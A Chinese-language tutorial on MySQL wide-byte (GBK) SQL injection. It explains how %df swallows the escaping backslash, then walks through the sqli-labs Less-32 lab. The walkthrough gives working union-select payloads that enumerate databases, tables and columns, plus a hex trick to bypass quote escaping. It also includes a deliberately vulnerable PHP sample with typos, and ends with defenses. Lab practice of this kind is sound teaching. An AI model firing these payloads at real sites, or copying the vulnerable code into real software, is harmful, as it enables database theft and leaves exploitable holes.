GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
前言
前面sql注入时最怕碰到的就是字符型注入,然后'
被过滤,反正当时没有什么办法解决,但宽字节注入给这样的情况带来了希望
宽字节注入原理
首先是编码,之所以产生宽字节注入,就是因为有不同的编码方式。程序在进行一些操作之前经常会进行一些编码处理,而做编码处理的函数也是存在问题的,通过输入转码函数不兼容的特殊字符,可以导致输出的字符变成有害数据,在SQL注入里,最常见的编码注入是MySQL宽字节以及 urldecode/rawurldecode 函数导致的。
现在的Web程序大多都会进行参数过滤,通常使addslashes()
、mysql_real_escape_string()
、 mysql_escape_string()
函数或者开启magic_quotes_gpc=on
的方式来防止注入,也就是给单引号('
)、 双引号("
)、反斜杠(\
)和NULL
加上反斜杠转义。但是如果在使用PHP连接MySQL的时候,又设置了“set character_set_client = gbk" 时又会导致一个编码转换的注入问题,也就是我们所熟悉的宽字节注入。当存在宽字节注入漏洞时(存在addslashes等函数转义),注入参数里带入%df%27(解码为�’),即可把程序中过滤的 \ ( %5c)吃掉。 举个例子,假设/1.php?id=1
里面的id参数存在宽字节注入漏洞,当提交/1.php?id=-1' and 1=1%23
时,MySQL 运行的SQL语句为select * from user where id='1\' and 1=1#'
很明显这是没有注入成功的,我们提交的单引号被转义导致没有闭合前面的单引号,但是我们提交/1.php?id=-1%df' and 1=1%23
时,这时候MySQL运行的SQL语句为:
select * from user where id='1運' and 1=1#'
这是由于单引号被自动转义成 \’,前面的%df和转义字符 \ 反斜杠(%5c)组合成了%df%5c,也就是“運”字,这时候单引号依然还在,于是成功闭合了前面的单引号。
出现这个漏洞的原因是在PHP连接MySQL的时候执行了如下设置:
set character_set_client = gbk
告诉MySQL服务器客户端来源数据编码是GBK,然后MySQL服务器对查询语句进行GBK转码导致反斜杠\被%df吃掉。 而一般都不是直接设置character_set_client=gbk
,通常的设置方法是SET NAMES 'gbk'
,但其实SET NAMES 'gbk'
不过是比character_set_client gbk多干了两件事而已,即
mysql_query( "SET NAMES gbk");
SET NAMES 'gbk'
等同于如下代码:
character_set_client 客户端使用的编码,如GBK, UTF8 比如你写的sql语句是什么编码的。
character_set_results 查询返回的结果集的编码(从数据库读取的数据是什么编码的)。
character_set_connection 连接使用的编码
这同样也是存在漏洞的。
下面对宽字节注入进行一个简单测试。
测试代码如下:
<?php
$conn=mysql_connect('localhost', 'root', '123456');
mysql_select_db("test", $conn);
mysql_query("SET NAMES 'gbk'", $conn);
$uid=addslashes($_GET['id']);
$sq1="SELECT * FROM userinfo where id=' $uid'";
$result=mysql_query($sq1, $conn);
print_r('当前SQL语句: '.$sql.'<br />结果: ');
print_r (mysql_fetch_row(Sresult));
mysql_close() ;
当提交/1.php?id=%df' union select 1,2,3,4%23
时,成功注入的效果如图4-3所示。
在代码审计中,对宽字节注入的挖掘方法也比较简单,只要搜索如下几个关键字即可:
SET NAMES
character_set_client=gbk
mysql_set_charset('gbk')
靶场练习——Sql-libs
Less-32
进入页面输入?id=1,出现上面的界面
然后我们加上’,如下图,我们可以看到提示说我们的输入被转义为了1\’…
这里我们来试下宽字节注入,id=2%df’–+
查询成功。
报字段:?id=-1%df’ union select 1,2–+
?id=-1%df’ union select 1,2,3–+
可知后台查询语句有三个字段,且2,3字段为注入字段。
报数据库:?id=-1%df’ union select 1,database(),user()–+
爆表:?id=-1%df’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+
?id=-1%df’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
爆字段:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
发现报错:
原来忘记了,最后面的user的单引号也被过滤了。我们可以利用16进制进行绕过,表名字段使用十六进制即:user进行十六进制编码:user=0x7573657273
即:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+
成功爆出。还有一种方法:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3--+
最后,报数据:
防御
官方建议使用mysql_set_charset
方式来设置编码,不幸的是它也只是调用了SET NAMES
,所以效果也是一样的。 不过mysql_set_charset
调用SET NAMES
之后还记录了当前的编码,留着给后面 mysql_real_escape_string 处理字符串的时候使用,所以在后面只要合理地使用mysql_real_escape_string 还是可以解决这个漏洞的。关于这个漏洞的解决方法推荐如下几种方法:
1) 在执行查询之前先执行SET NAMES 'gbk'
,character_set_client=binary
设置 character_set_client 为binary。
2) 使用 mysql_set_charset(‘gbk’) 设置编码,然后使用 mysql_real_escape_string() 函数被参数过滤。
3) 使用pdo方式,在PHP5.3.6及以下版本需要设置setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 来禁用 prepared statements 的仿真效果。
如上几种方法更推荐第一和第三种。